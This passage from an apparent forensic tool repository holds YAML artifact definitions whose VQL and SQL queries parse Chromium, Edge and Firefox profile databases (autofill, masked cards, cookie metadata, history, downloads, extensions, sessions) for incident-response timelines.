38 | date_modified,
39 | use_date,
40 | autofill_profile_names.first_name AS FirstName,
41 | autofill_profile_names.middle_name AS MiddleName,
42 | autofill_profile_names.last_name AS LastName,
43 | autofill_profile_emails.email as EmailAddress,
44 | autofill_profile_phones.number AS PhoneNumber,
45 | autofill_profiles.company_name AS CompanyName,
46 | autofill_profiles.street_address AS StreetAddress,
47 | autofill_profiles.city AS City,
48 | autofill_profiles.state AS State,
49 | autofill_profiles.zipcode AS ZipCode,
50 | autofill_profiles.use_count AS UseCount
51 | FROM
52 | autofill_profiles
53 | INNER JOIN autofill_profile_emails ON autofill_profile_emails.guid = autofill_profiles.guid
54 | INNER JOIN autofill_profile_phones ON autofill_profiles.guid = autofill_profile_phones.guid
55 | INNER JOIN autofill_profile_names ON autofill_profile_phones.guid = autofill_profile_names.guid
56 | ORDER BY
57 | autofill_profiles.guid ASC
58 |
59 | - name: Masked Credit Cards
60 | VQL: "SELECT * FROM Rows"
61 | SQL: |
62 | SELECT
63 | masked_credit_cards.id AS ID,
64 | masked_credit_cards.name_on_card AS NameOnCard,
65 | masked_credit_cards.network AS CardNetwork,
66 | masked_credit_cards.last_four AS LastFour,
67 | masked_credit_cards.exp_month AS ExpMonth,
68 | masked_credit_cards.exp_year AS ExpYear,
69 | masked_credit_cards.bank_name AS BankName,
70 | masked_credit_cards.nickname AS CardNickname,
71 | masked_credit_cards.card_issuer AS CardIssuer,
72 | masked_credit_cards.instrument_id AS InstrumentID
73 | FROM masked_credit_cards
74 | ORDER BY masked_credit_cards.id ASC
75 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_Bookmarks.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser Bookmarks
2 | Author: Sikha Puthanveedu @SikhaMohan, Mike Cohen
3 | Categories:
4 | - Chrome
5 | - Browser
6 |
7 | FilenameRegex: "Bookmarks"
8 | Globs:
9 | - "{{LinuxChromeProfiles}}/*/Bookmarks"
10 | - "{{WindowsChromeProfiles}}/*/Bookmarks"
11 | - "{{MacOSChromeProfiles}}/*/Bookmarks"
12 |
13 | Sources:
14 | - VQL: |
15 | -- Recursive function to report the details of a folder
16 | LET ReportFolder(Data, BaseName) = SELECT * FROM chain(a={
17 | -- First row emit the data about the actual folder
18 | SELECT BaseName + " | " + Data.name AS Name,
19 | timestamp(winfiletime=int(int=Data.date_added) * 10) AS DateAdded,
20 | timestamp(winfiletime=int(int=Data.date_last_used) * 10) AS DateLastUsed,
21 | Data.type AS Type,
22 | Data.url || "" AS URL
23 | FROM scope()
24 | },
25 | b={
26 | -- If this folder has children recurse into it
27 | SELECT * FROM foreach(row={
28 | SELECT _value FROM items(item=Data.children)
29 | }, query={
30 | SELECT * FROM ReportFolder(Data=_value, BaseName=BaseName + " | " + Data.name)
31 | })
32 | })
33 |
34 | LET MatchingFiles = SELECT OSPath, parse_json(data=read_file(filename=OSPath)) AS Data
35 | FROM Rows
36 |
37 | SELECT * FROM foreach(row=MatchingFiles, query={
38 | SELECT * FROM chain(
39 | a={
40 | SELECT OSPath, *, "bookmark_bar" AS Type
41 | FROM ReportFolder(Data=Data.roots.bookmark_bar, BaseName="")
42 | },
43 | b={
44 | SELECT OSPath, *, "other" AS Type
45 | FROM ReportFolder(Data=Data.roots.other, BaseName="")
46 | },
47 | c={
48 | SELECT OSPath, *, "synced" AS Type
49 | FROM ReportFolder(Data=Data.roots.synced, BaseName="")
50 | })
51 | })
52 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_Cookies.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master WHERE type='table' AND (name='cookies' OR name='meta');
8 | SQLiteIdentifyValue: 2
9 | Categories:
10 | - Chrome
11 | - Browser
12 | FilenameRegex: "Cookies"
13 | Globs:
14 | - "{{LinuxChromeProfiles}}/*/Cookies"
15 | - "{{WindowsChromeProfiles}}/*/Cookies"
16 | - "{{MacOSChromeProfiles}}/*/Cookies"
17 |
18 | Sources:
19 | - name: Cookies
20 | VQL: |
21 | SELECT timestamp(winfiletime=(creation_utc * 10) || 0) AS CreationUTC,
22 | timestamp(winfiletime=(expires_utc * 10) || 0) AS ExpiresUTC,
23 | timestamp(winfiletime=(last_access_utc * 10) || 0) AS LastAccessUTC,
24 | HostKey, Name, Path,
25 | Bool(Value=is_secure) AS IsSecure,
26 | Bool(Value=is_httponly) AS IsHttpOnly,
27 | Bool(Value=has_expires) AS HasExpiration,
28 | Bool(Value=is_persistent) AS IsPersistent,
29 | Priority, SourcePort, OSPath
30 | FROM Rows
31 | WHERE LastAccessUTC > DateAfter AND LastAccessUTC < DateBefore
32 | AND (Name, Path) =~ FilterRegex
33 |
34 | SQL: |
35 | SELECT
36 | cookies.creation_utc,
37 | cookies.expires_utc,
38 | cookies.last_access_utc,
39 | cookies.host_key AS HostKey,
40 | cookies.name AS Name,
41 | cookies.path AS Path,
42 | cookies.is_secure,
43 | cookies.is_httponly,
44 | cookies.has_expires,
45 | cookies.is_persistent,
46 | cookies.priority AS Priority,
47 | cookies.source_port AS SourcePort
48 | FROM cookies
49 | ORDER BY cookies.creation_utc ASC
50 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_Extensions.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser Extensions
2 | Author: Mike Cohen
3 | Categories:
4 | - Chrome
5 | - Browser
6 |
7 | FilenameRegex: "manifest.json"
8 | Globs:
9 | - "{{LinuxChromeProfiles}}/*/Extensions/**/manifest.json"
10 | - "{{WindowsChromeProfiles}}/*/Extensions/**/manifest.json"
11 | - "{{MacOSChromeProfiles}}/*/Extensions/**/manifest.json"
12 |
13 | Sources:
14 | - VQL: |
15 | -- Resolve the message string against the Locale dict
16 | LET ResolveName(Message, Locale) = get(item=Locale,
17 | field=lowcase(string=parse_string_with_regex(regex="^__MSG_(.+)__$", string=Message).g1),
18 | default=Message).message || Message
19 |
20 | -- Read the manifest files
21 | LET ManifestData = SELECT OSPath, parse_json(data=read_file(filename=OSPath)) AS Manifest
22 | FROM Rows
23 |
24 | -- Find the Locale file to help with.
25 | LET LocaleData = SELECT *, if(condition=Manifest.default_locale, else=dict(),
26 | then=parse_json(data=read_file(
27 | filename=OSPath.Dirname + "_locales" + Manifest.default_locale + "messages.json"))) AS Locale
28 | FROM ManifestData
29 |
30 | LET GetIcon(Manifest) = Manifest.icons.`128` || Manifest.icons.`64` || Manifest.icons.`32` || Manifest.icons.`16`
31 |
32 | SELECT OSPath, Manifest.author.email AS Email,
33 | ResolveName(Message = Manifest.name, Locale=Locale) AS name,
34 | ResolveName(Message = Manifest.description, Locale=Locale) AS description,
35 | Manifest.oauth2.scopes as Scopes,
36 | Manifest.permissions as Permissions,
37 | Manifest.key as Key, if(condition=GetIcon(Manifest=Manifest),
38 | then=upload(file=OSPath.Dirname + GetIcon(Manifest=Manifest))) AS Image,
39 | Manifest AS _Manifest
40 | FROM LocaleData
41 | WHERE (name, description) =~ FilterRegex
42 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_Favicons.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser Favicons
2 | Author: Andrew Rathbun, Phill Moore
3 | Email: andrew.d.rathbun@gmail.com, @phillmoore
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='icon_mapping' OR name='favicons' OR name='favicon_bitmaps');
10 | SQLiteIdentifyValue: 3
11 | Categories:
12 | - Chrome
13 | - Browser
14 |
15 | FilenameRegex: "Favicons"
16 | Globs:
17 | - "{{LinuxChromeProfiles}}/*/Favicons"
18 | - "{{WindowsChromeProfiles}}/*/Favicons"
19 | - "{{MacOSChromeProfiles}}/*/Favicons"
20 |
21 | Sources:
22 | - VQL: |
23 | SELECT ID, IconID,
24 | timestamp(winfiletime= (LastUpdated * 10) || 0) AS LastUpdated,
25 | PageURL, FaviconURL,
26 | upload(accessor="data",
27 | file=_image,
28 | name=format(format="Image%v.png", args=ID)) AS Image,
29 | OSPath as _OSPath
30 | FROM Rows
31 | WHERE LastUpdated > DateAfter AND LastUpdated < DateBefore
32 |
33 | SQL: |
34 | SELECT
35 | favicons.id AS ID,
36 | favicon_bitmaps.icon_id AS IconID,
37 | favicon_bitmaps.image_data as _image,
38 | favicon_bitmaps.last_updated AS LastUpdated,
39 | icon_mapping.page_url AS PageURL,
40 | favicons.url AS FaviconURL
41 | FROM favicons
42 | INNER JOIN icon_mapping
43 | INNER JOIN favicon_bitmaps
44 | ON icon_mapping.icon_id = favicon_bitmaps.icon_id
45 | AND favicons.id = favicon_bitmaps.icon_id
46 | ORDER BY favicons.id ASC
47 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_HistoryVisits.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser History
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='urls' OR name='visits' OR name='downloads' OR name='segments');
10 | SQLiteIdentifyValue: 4
11 | Categories:
12 | - Chrome
13 | - Browser
14 | FilenameRegex: "History"
15 | Globs:
16 | - "{{LinuxChromeProfiles}}/*/History"
17 | - "{{WindowsChromeProfiles}}/*/History"
18 | - "{{MacOSChromeProfiles}}/*/History"
19 |
20 | Sources:
21 | - name: Visits
22 | VQL: |
23 | SELECT ID,
24 | timestamp(winfiletime=(visit_time * 10) || 0) AS VisitTime,
25 | timestamp(winfiletime=(last_visit_time * 10) || 0) AS LastVisitedTime,
26 | URLTitle, URL, VisitCount, TypedCount,
27 | if(condition=hidden =~ '1', then="Yes", else="No") AS Hidden,
28 | VisitID, FromVisitID,
29 | visit_duration / 1000000 AS VisitDurationInSeconds,
30 | OSPath
31 | FROM Rows
32 | WHERE VisitTime > DateAfter
33 | AND VisitTime < DateBefore
34 | AND (URLTitle, URL) =~ FilterRegex
35 | SQL: |
36 | SELECT
37 | urls.id AS ID,
38 | visits.visit_time as visit_time,
39 | urls.last_visit_time as last_visit_time,
40 | urls.title AS URLTitle,
41 | urls.url AS URL,
42 | urls.visit_count AS VisitCount,
43 | urls.typed_count AS TypedCount,
44 | urls.hidden as hidden,
45 | visits.id AS VisitID,
46 | visits.from_visit AS FromVisitID,
47 | visits.visit_duration as visit_duration
48 | FROM urls
49 | LEFT JOIN visits ON urls.id = visits.url
50 | ORDER BY visits.visit_time ASC
51 |
52 | - name: Downloads
53 | VQL: |
54 | LET StateLookup <= dict(`0`='In Progress', `1`='Complete', `2`="Cancelled", `3`="Interrupted", `4`="Interrupted")
55 | LET DangerType <= dict(`0`='Not Dangerous', `1`="Dangerous", `2`='Dangerous URL', `3`='Dangerous Content',
56 | `4`='Content May Be Malicious', `5`='Uncommon Content', `6`='Dangerous But User Validated',
57 | `7`='Dangerous Host', `8`='Potentially Unwanted', `9`='Whitelisted by Policy')
58 | LET InterruptReason <= dict(`0`= 'No Interrupt', `1`= 'File Error', `2`='Access Denied', `3`='Disk Full',
59 | `5`='Path Too Long',`6`='File Too Large', `7`='Virus', `10`='Temporary Problem', `11`='Blocked',
60 | `12`='Security Check Failed', `13`='Resume Error', `20`='Network Error', `21`='Operation Timed Out',
61 | `22`='Connection Lost', `23`='Server Down', `30`='Server Error', `31`='Range Request Error',
62 | `32`='Server Precondition Error', `33`='Unable to get file', `34`='Server Unauthorized',
63 | `35`='Server Certificate Problem', `36`='Server Access Forbidden', `37`='Server Unreachable',
64 | `38`='Content Length Mismatch', `39`='Cross Origin Redirect', `40`='Cancelled', `41`='Browser Shutdown',
65 | `50`='Browser Crashed')
66 |
67 | SELECT ID, GUID, CurrentPath, TargetPath, OriginalMIMEType, ReceivedBytes, TotalBytes,
68 | timestamp(winfiletime=(start_time * 10) || 0) AS StartTime,
69 | timestamp(winfiletime=(end_time * 10) || 0) AS EndTime,
70 | timestamp(winfiletime=(opened * 10) || 0) AS Opened,
71 | timestamp(winfiletime=(last_access_time * 10) || 0) AS LastAccessTime,
72 | timestamp(epoch=last_modified) AS LastModified,
73 | get(item=StateLookup, field=str(str=state), default="Unknown") AS State,
74 | get(item=DangerType, field=str(str=danger_type), default="Unknown") AS DangerType,
75 | get(item=InterruptReason, field=str(str=interrupt_reason), default="Unknown") AS InterruptReason,
76 | ReferrerURL, SiteURL, TabURL, TabReferrerURL, DownloadURL, OSPath
77 | FROM Rows
78 | WHERE LastAccessTime > DateAfter AND LastAccessTime < DateBefore
79 | AND (SiteURL, DownloadURL, TabURL, TabReferrerURL, ReferrerURL, DownloadURL) =~ FilterRegex
80 |
81 | SQL: |
82 | SELECT
83 | downloads.id AS ID,
84 | downloads.guid AS GUID,
85 | downloads.current_path AS CurrentPath,
86 | downloads.target_path AS TargetPath,
87 | downloads.original_mime_type AS OriginalMIMEType,
88 | downloads.received_bytes AS ReceivedBytes,
89 | downloads.total_bytes AS TotalBytes,
90 | downloads.start_time,
91 | downloads.end_time,
92 | downloads.opened,
93 | downloads.last_access_time,
94 | downloads.last_modified,
95 | downloads.state,
96 | downloads.danger_type,
97 | downloads.interrupt_reason,
98 | downloads.referrer AS ReferrerURL,
99 | downloads.site_url AS SiteURL,
100 | downloads.tab_url AS TabURL,
101 | downloads.tab_referrer_url AS TabReferrerURL,
102 | DownloadURL.url AS DownloadURL
103 | FROM downloads
104 | INNER JOIN downloads_url_chains AS DownloadURL ON downloads.id = DownloadURL.id
105 | ORDER BY downloads.id ASC
106 |
107 | - name: Keywords
108 | VQL: |
109 | SELECT KeywordID, URLID,
110 | timestamp(winfiletime=(last_visit_time * 10) || 0) AS LastVisitedTime,
111 | KeywordSearchTerm, Title, URL, OSPath
112 | FROM Rows
113 | WHERE LastVisitedTime > DateAfter AND LastVisitedTime < DateBefore
114 | AND (Title, KeywordSearchTerm, URL) =~ FilterRegex
115 |
116 | SQL: |
117 | SELECT
118 | keyword_search_terms.keyword_id AS KeywordID,
119 | keyword_search_terms.url_id AS URLID,
120 | urls.last_visit_time,
121 | keyword_search_terms.term AS KeywordSearchTerm,
122 | urls.title AS Title,
123 | urls.url AS URL
124 | FROM keyword_search_terms
125 | INNER JOIN urls ON keyword_search_terms.url_id = urls.id
126 | ORDER BY keyword_search_terms.keyword_id ASC
127 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_Media.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser Media
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='origin' OR name='playback' OR name='playbackSession');
10 | SQLiteIdentifyValue: 3
11 | Categories:
12 | - Chrome
13 | - Browser
14 | FilenameRegex: "Media History"
15 | Globs:
16 | - "{{LinuxChromeProfiles}}/*/Media History"
17 | - "{{WindowsChromeProfiles}}/*/Media History"
18 | - "{{MacOSChromeProfiles}}/*/Media History"
19 |
20 | Sources:
21 | - name: History
22 | VQL: |
23 | SELECT ID, URL, WatchTimeSeconds,
24 | Bool(Value=has_video) AS HasVideo,
25 | Bool(Value=has_audio) AS HasAudio,
26 | timestamp(winfiletime=last_updated_time_s || 0) AS LastUpdated,
27 | OriginID, OSPath
28 | FROM Rows
29 | WHERE LastUpdated > DateAfter AND LastUpdated < DateBefore
30 | AND URL =~ FilterRegex
31 |
32 | SQL: |
33 | SELECT
34 | playback.id AS ID,
35 | playback.url AS URL,
36 | playback.watch_time_s AS WatchTimeSeconds,
37 | playback.has_video,
38 | playback.has_audio,
39 | playback.last_updated_time_s,
40 | playback.origin_id AS OriginID
41 | FROM playback
42 | ORDER BY playback.id ASC
43 |
44 | - name: Playback Session
45 | VQL: |
46 | SELECT ID,
47 | timestamp(winfiletime=last_updated_time_s || 0) AS LastUpdated, URL,
48 | duration_ms / 1000 AS DurationInSeconds,
49 | position_ms / 1000 AS PositionInSeconds,
50 | Title, Artist, Album, SourceTitle, OriginID, OSPath
51 | FROM Rows
52 | WHERE LastUpdated > DateAfter AND LastUpdated < DateBefore
53 | AND URL =~ FilterRegex
54 |
55 | SQL: |
56 | SELECT
57 | playbackSession.id AS ID,
58 | playbackSession.last_updated_time_s,
59 | playbackSession.url AS URL,
60 | playbackSession.duration_ms,
61 | playbackSession.position_ms,
62 | playbackSession.title AS Title,
63 | playbackSession.artist AS Artist,
64 | playbackSession.album AS Album,
65 | playbackSession.source_title AS SourceTitle,
66 | playbackSession.origin_id AS OriginID
67 | FROM playbackSession
68 | ORDER BY playbackSession.id
69 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_NetworkActionPredictor.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser Network
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='resource_prefetch_predictor_host_redirect'
10 | OR name='network_action_predictor' OR name='resource_prefetch_predictor_metadata');
11 | SQLiteIdentifyValue: 3
12 | Categories:
13 | - Chrome
14 | - Browser
15 | FilenameRegex: "Network Action Predictor"
16 | Globs:
17 | - "{{LinuxChromeProfiles}}/*/Network Action Predictor"
18 | - "{{WindowsChromeProfiles}}/*/Network Action Predictor"
19 | - "{{MacOSChromeProfiles}}/*/Network Action Predictor"
20 |
21 | Sources:
22 | - name: Predictor
23 | VQL: |
24 | SELECT * FROM Rows
25 | WHERE UserText =~ FilterRegex
26 |
27 | SQL: |
28 | SELECT
29 | network_action_predictor.id AS ID,
30 | network_action_predictor.user_text AS UserText,
31 | network_action_predictor.url AS URL,
32 | network_action_predictor.number_of_hits AS NumberOfHits,
33 | network_action_predictor.number_of_misses AS NumberOfMisses
34 | FROM network_action_predictor, resource_prefetch_predictor_host_redirect
35 | ORDER BY network_action_predictor.id ASC
36 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_Notifications.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser Notifications
2 | Author: Maxime Thiebaut (@0xThiebaut)
3 | Categories:
4 | - Chrome
5 | - Edge
6 | - Browser
7 |
8 | FilenameRegex: "Preferences"
9 | Globs:
10 | - "{{LinuxChromeProfiles}}/*/Preferences"
11 | - "{{WindowsChromeProfiles}}/*/Preferences"
12 | - "{{MacOSChromeProfiles}}/*/Preferences"
13 |
14 | Sources:
15 | - name: Site Engagements
16 | VQL: |
17 | LET JSON = SELECT parse_json(data=read_file(filename=OSPath)) AS Data, OSPath FROM Rows
18 |
19 | SELECT * FROM foreach(row={
20 | SELECT OSPath, Data.profile.content_settings.exceptions AS exceptions FROM JSON
21 | }, query={
22 | SELECT _key AS Site,
23 | timestamp(winfiletime=int(int=_value.last_modified) * 10 || 0) AS LastModified,
24 | timestamp(winfiletime=int(int=_value.setting.lastEngagementTime) * 10 || 0) AS LastEngagementTime,
25 | OSPath
26 | FROM items(item=exceptions.site_engagement)
27 | })
28 |
29 | - name: App Banners
30 | VQL: |
31 | LET JSON = SELECT parse_json(data=read_file(filename=OSPath)) AS Data, OSPath FROM Rows
32 |
33 | SELECT * FROM foreach(row={
34 | SELECT OSPath, Data.profile.content_settings.exceptions AS exceptions FROM JSON
35 | }, query={
36 | SELECT _key AS Site,
37 | timestamp(winfiletime=int(int=_value.last_modified) * 10 || 0) AS LastModified,
38 | {
39 | SELECT _key AS Site,
40 | timestamp(winfiletime=int(int=_value.couldShowBannerEvents) * 10 || 0) AS CouldShowBannerEvents,
41 | timestamp(winfiletime=int(int=_value.next_install_text_animation.last_shown) * 10 || 0) AS LastShown
42 | FROM items(item=_value.setting)
43 | } AS Setting,
44 | OSPath
45 | FROM items(item=exceptions.app_banner)
46 | })
47 |
48 | - name: Notification Preferences
49 | VQL: |
50 | LET ContentSettings <= array(`0`="Default",`1`="Allow",`2`="Block",`3`="Ask",`4`="Session Only",`5`="Detect Important Content")
51 |
52 | LET JSON = SELECT parse_json(data=read_file(filename=OSPath)) AS Data, OSPath FROM Rows
53 |
54 | SELECT * FROM foreach(row={
55 | SELECT OSPath, Data.profile.content_settings.exceptions AS exceptions FROM JSON
56 | }, query={
57 | SELECT _key AS Site,
58 | timestamp(winfiletime=int(int=_value.last_modified) * 10 || 0) AS LastModified,
59 | ContentSettings[_value.setting] AS Setting,
60 | OSPath
61 | FROM items(item=exceptions.notifications)
62 | })
63 |
64 | - name: Notification Interactions
65 | VQL: |
66 | LET JSON = SELECT parse_json(data=read_file(filename=OSPath)) AS Data, OSPath FROM Rows
67 | LET S = scope()
68 |
69 | SELECT * FROM foreach(row={
70 | SELECT OSPath, Data.profile.content_settings.exceptions AS exceptions FROM JSON
71 | }, query={
72 | SELECT _key AS URL,
73 | timestamp(winfiletime=int(int=_value.last_modified) * 10 || 0) AS LastModified,
74 | _value.display_count as DisplayCount,
75 | _value.click_count as ClickCount,
76 | OSPath
77 | FROM items(item=S.notification_interactions || dict())
78 | })
79 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_OmniboxShortcuts.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser Shortcuts
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='meta' OR name='omni_box_shortcuts');
10 | SQLiteIdentifyValue: 2
11 | Categories:
12 | - Chrome
13 | - Browser
14 |
15 | FilenameRegex: "Shortcuts"
16 | Globs:
17 | - "{{LinuxChromeProfiles}}/*/Shortcuts"
18 | - "{{WindowsChromeProfiles}}/*/Shortcuts"
19 | - "{{MacOSChromeProfiles}}/*/Shortcuts"
20 |
21 | Sources:
22 | - VQL: |
23 | SELECT ID,
24 | timestamp(winfiletime= (last_access_time * 10) || 0) AS LastAccessTime,
25 | TextTyped, FillIntoEdit, URL, Contents,
26 | Description, Type, Keyword, TimesSelectedByUser, OSPath
27 | FROM Rows
28 | WHERE LastAccessTime > DateAfter AND LastAccessTime < DateBefore
29 | AND (Contents, Description) =~ FilterRegex
30 |
31 | SQL: |
32 | SELECT
33 | omni_box_shortcuts.last_access_time,
34 | omni_box_shortcuts.text AS TextTyped,
35 | omni_box_shortcuts.fill_into_edit AS FillIntoEdit,
36 | omni_box_shortcuts.url AS URL,
37 | omni_box_shortcuts.contents AS Contents,
38 | omni_box_shortcuts.description AS Description,
39 | omni_box_shortcuts.type AS Type,
40 | omni_box_shortcuts.keyword AS Keyword,
41 | omni_box_shortcuts.number_of_hits AS TimesSelectedByUser,
42 | omni_box_shortcuts.id AS ID
43 | FROM omni_box_shortcuts
44 | ORDER BY omni_box_shortcuts.last_access_time ASC
45 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_Sessions.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Sessions
2 | Author: Mike Cohen
3 | Reference: https://www.inversecos.com/2022/10/recovering-cleared-browser-history.html
4 | SQLiteIdentifyQuery: |
5 | SELECT count(*) AS `Check`
6 | FROM sqlite_master WHERE type='table' AND (name='cookies' OR name='meta');
7 | SQLiteIdentifyValue: 2
8 | Categories:
9 | - Chrome
10 | - Browser
11 | FilenameRegex: "Session"
12 | Globs:
13 | - "{{LinuxChromeProfiles}}/*/Sessions/Session_*"
14 | - "{{WindowsChromeProfiles}}/*/Sessions/Session_*"
15 | - "{{MacOSChromeProfiles}}/*/Sessions/Session_*"
16 |
17 | Sources:
18 | - name: Sessions
19 | VQL: |
20 | SELECT timestamp(winfiletime=(creation_utc * 10) || 0) AS CreationUTC,
21 | timestamp(winfiletime=(expires_utc * 10) || 0) AS ExpiresUTC,
22 | timestamp(winfiletime=(last_access_utc * 10) || 0) AS LastAccessUTC,
23 | HostKey, Name, Path,
24 | Bool(Value=is_secure) AS IsSecure,
25 | Bool(Value=is_httponly) AS IsHttpOnly,
26 | Bool(Value=has_expires) AS HasExpiration,
27 | Bool(Value=is_persistent) AS IsPersistent,
28 | Priority, SourcePort, OSPath
29 | FROM Rows
30 | WHERE LastAccessUTC > DateAfter AND LastAccessUTC < DateBefore
31 | AND (Name, Path) =~ FilterRegex
32 |
33 | SQL: |
34 | SELECT
35 | cookies.creation_utc,
36 | cookies.expires_utc,
37 | cookies.last_access_utc,
38 | cookies.host_key AS HostKey,
39 | cookies.name AS Name,
40 | cookies.path AS Path,
41 | cookies.is_secure,
42 | cookies.is_httponly,
43 | cookies.has_expires,
44 | cookies.is_persistent,
45 | cookies.priority AS Priority,
46 | cookies.source_port AS SourcePort
47 | FROM cookies
48 | ORDER BY cookies.creation_utc ASC
49 |
--------------------------------------------------------------------------------
/definitions/ChromiumBrowser_TopSites.yaml:
--------------------------------------------------------------------------------
1 | Name: Chromium Browser Top Sites
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='meta' OR name='top_sites');
10 | SQLiteIdentifyValue: 2
11 | Categories:
12 | - Chrome
13 | - Browser
14 |
15 | FilenameRegex: "Top Sites"
16 | Globs:
17 | - "{{LinuxChromeProfiles}}/*/Top Sites"
18 | - "{{WindowsChromeProfiles}}/*/Top Sites"
19 | - "{{MacOSChromeProfiles}}/*/Top Sites"
20 |
21 | Sources:
22 | - VQL: |
23 | SELECT * FROM Rows
24 | WHERE ( URL =~ FilterRegex OR Title =~ FilterRegex )
25 |
26 | SQL: |
27 | SELECT
28 | top_sites.url_rank AS URLRank,
29 | top_sites.url AS URL,
30 | top_sites.title AS Title
31 | FROM top_sites
32 | ORDER BY top_sites.url_rank ASC
33 |
--------------------------------------------------------------------------------
/definitions/EdgeBrowser_Autofill.yaml:
--------------------------------------------------------------------------------
1 | Name: Edge Browser Autofill
2 | Author: Chris Hayes - Reliance Cyber
3 | SQLiteIdentifyQuery: |
4 | SELECT count(*) AS `Check`
5 | FROM sqlite_master
6 | WHERE type='table'
7 | AND (name='autofill_edge_field_client_info' OR name='autofill_edge_field_values');
8 | SQLiteIdentifyValue: 2
9 | Categories:
10 | - Edge
11 | - Browser
12 |
13 | FilenameRegex: "Web Data"
14 | Globs:
15 | - "{{LinuxChromeProfiles}}/*/Web Data"
16 | - "{{WindowsChromeProfiles}}/*/Web Data"
17 | - "{{MacOSChromeProfiles}}/*/Web Data"
18 |
19 | Sources:
20 | - name: CombinedAutofill
21 | VQL: |
22 | SELECT timestamp(epoch=date_last_used) AS DateLastUsed
23 | FROM Rows
24 | WHERE DateLastUsed > DateAfter AND DateLastUsed < DateBefore
25 |
26 | SQL: |
27 | SELECT
28 | autofill_edge_field_client_info.form_signature_v1,
29 | autofill_edge_field_client_info.form_signature_v2,
30 | autofill_edge_field_client_info.domain_value,
31 | autofill_edge_field_values.date_last_used,
32 | GROUP_CONCAT(autofill_edge_field_client_info.label || ': ' || autofill_edge_field_values.value, ', ') AS label_value_pairs,
33 | json_group_object(autofill_edge_field_client_info.label, autofill_edge_field_values.value) AS label_value_json
34 | FROM
35 | autofill_edge_field_values
36 | JOIN
37 | autofill_edge_field_client_info
38 | ON
39 | autofill_edge_field_values.field_id = autofill_edge_field_client_info.field_id
40 | GROUP BY
41 | autofill_edge_field_client_info.form_signature_v1,
42 | autofill_edge_field_client_info.form_signature_v2,
43 | autofill_edge_field_client_info.domain_value,
44 | autofill_edge_field_values.date_last_used;
45 |
--------------------------------------------------------------------------------
/definitions/EdgeBrowser_NavigationHistory.yaml:
--------------------------------------------------------------------------------
1 | Name: Edge Browser Navigation History
2 | Author: Suyash Tripathi
3 | Email: suyash.tripathi@cybercx.com.au
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND name='navigation_history';
10 | SQLiteIdentifyValue: 1
11 | Categories:
12 | - Edge
13 | - Browser
14 | FilenameRegex: "WebAssistDatabase"
15 | Globs:
16 | - "{{WindowsChromeProfiles}}/*/WebAssistDatabase"
17 | - "{{MacOSChromeProfiles}}/*/WebAssistDatabase"
18 |
19 | Sources:
20 | - name: Navigation History
21 | VQL: |
22 | SELECT ID,
23 | timestamp(epoch=`Last Visited Time`) AS `Last Visited Time`,
24 | Title, URL, VisitCount, OSPath
25 | FROM Rows
26 | WHERE `Last Visited Time` > DateAfter
27 | AND `Last Visited Time` < DateBefore
28 | AND (Title, URL) =~ FilterRegex
29 |
30 | SQL: |
31 | SELECT
32 | navigation_history.id AS ID,
33 | navigation_history.last_visited_time AS 'Last Visited Time',
34 | navigation_history.title AS Title,
35 | navigation_history.url AS URL,
36 | navigation_history.num_visits AS VisitCount
37 | FROM
38 | navigation_history
39 | ORDER BY
40 | navigation_history.last_visited_time ASC;
41 |
--------------------------------------------------------------------------------
/definitions/Firefox_Bookmarks.yaml:
--------------------------------------------------------------------------------
1 | Name: Firefox Places
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
